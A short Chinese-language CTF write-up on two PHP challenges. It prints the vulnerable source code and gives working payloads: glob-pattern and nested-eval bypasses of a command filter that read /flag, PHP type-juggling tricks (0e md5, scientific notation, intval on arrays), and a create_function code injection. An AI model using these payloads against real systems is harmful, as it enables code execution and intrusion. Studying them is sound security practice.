我个人认为这两到题目是有纪录的价值的

RCE但没完全RCE

上来的md5绕过就不多讲直接讲rec

1
2
3
4
5
6
7
8
9
<?php
error_reporting(0);
highlight_file(__FILE__);
$shell = $_POST['shell'];
$cmd = $_GET['cmd'];
if(preg_match('/f|l|a|g|\*|\?/i',$cmd)){
die("Hacker!!!!!!!!");
}
eval($shell($cmd));

我们可以看到其将字母f,l,a,g?*都过滤了我们也就无法使用bash或者sh来绕过,也无法使用常用的方法,我查了以下wp有以下两种题解

1.[9-q]绕过

[9-q]在linux里代表了ascii在9-q之间的字符,与通配符相似我们可以使用该方法进行绕过

1
2
?cmd=more /[9-q][9-q][9-q][9-q]
shell=system

2.使用$_POST绕过

我们可以给shell传值为urldecod使shell()失效。
在给cmd传值system($_POST[1]);
最后给1传值即可由于1没有被waf过滤使用我们可以直接在1里使用cat /flag

了解过php特性吗

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
error_reporting(0);
highlight_file(__FILE__);
include("rce.php");
$checker_1 = FALSE;
$checker_2 = FALSE;
$checker_3 = FALSE;
$checker_4 = FALSE;
$num = $_GET['num'];
if (preg_match("/[0-9]/", $num)) {
die("no!!");
}
if (intval($num)) {
$checker_1 = TRUE;
}
if (isset($_POST['ctype']) && isset($_POST['is_num'])) {
$ctype = strrev($_POST['ctype']);
$is_num = strrev($_POST['is_num']);
if (ctype_alpha($ctype) && is_numeric($is_num) && md5($ctype) == md5($is_num)) {
$checker_2 = TRUE;
}
}
$_114 = $_GET['114'];
$_514 = $_POST['514'];
if (isset($_114) && intval($_114) > 114514 && strlen($_114) <= 3) {
if (!is_numeric($_514) && $_514 > 9999999) {
$checker_3 = TRUE;
}
}
$arr4y = $_POST['arr4y'];
if (is_array($arr4y)) {
for ($i = 0; $i < count($arr4y); $i++) {
if ($arr4y[$i] === "NSS") {
die("no!");
}
$arr4y[$i] = intval($arr4y[$i]);
}
if (array_search("NSS", $arr4y) === 0) {
$checker_4 = TRUE;
}
}
if ($checker_1 && $checker_2 && $checker_3 && $checker_4) {
echo $rce;
}

我们看代码可以发现有四层检查
1.使intval函数我们直接使用数组绕过就可,intval在遇到数组时回直接返回1

2.我们使用md5值为0e开头的来绕过,is_num要为数字,其次我们需要将传入的值倒序,我们直接查就可以了

3.第一个114我们使用科学计数法绕过,传值为2e8
514可以使用9999999999a来绕过
4.我们直接给数组arr4[]随便传值只要不为nss

1
2
3
4
5
6
7
8
<?php
error_reporting(0);
highlight_file(__FILE__);
$nss=$_POST['nss'];
$shell = $_POST['shell'];
if(isset($shell)&& isset($nss)){
$nss_shell = create_function($shell,$nss);
}

我们可以使用create_function注入
网站如下
create_function注入
1
;}system("ls");/*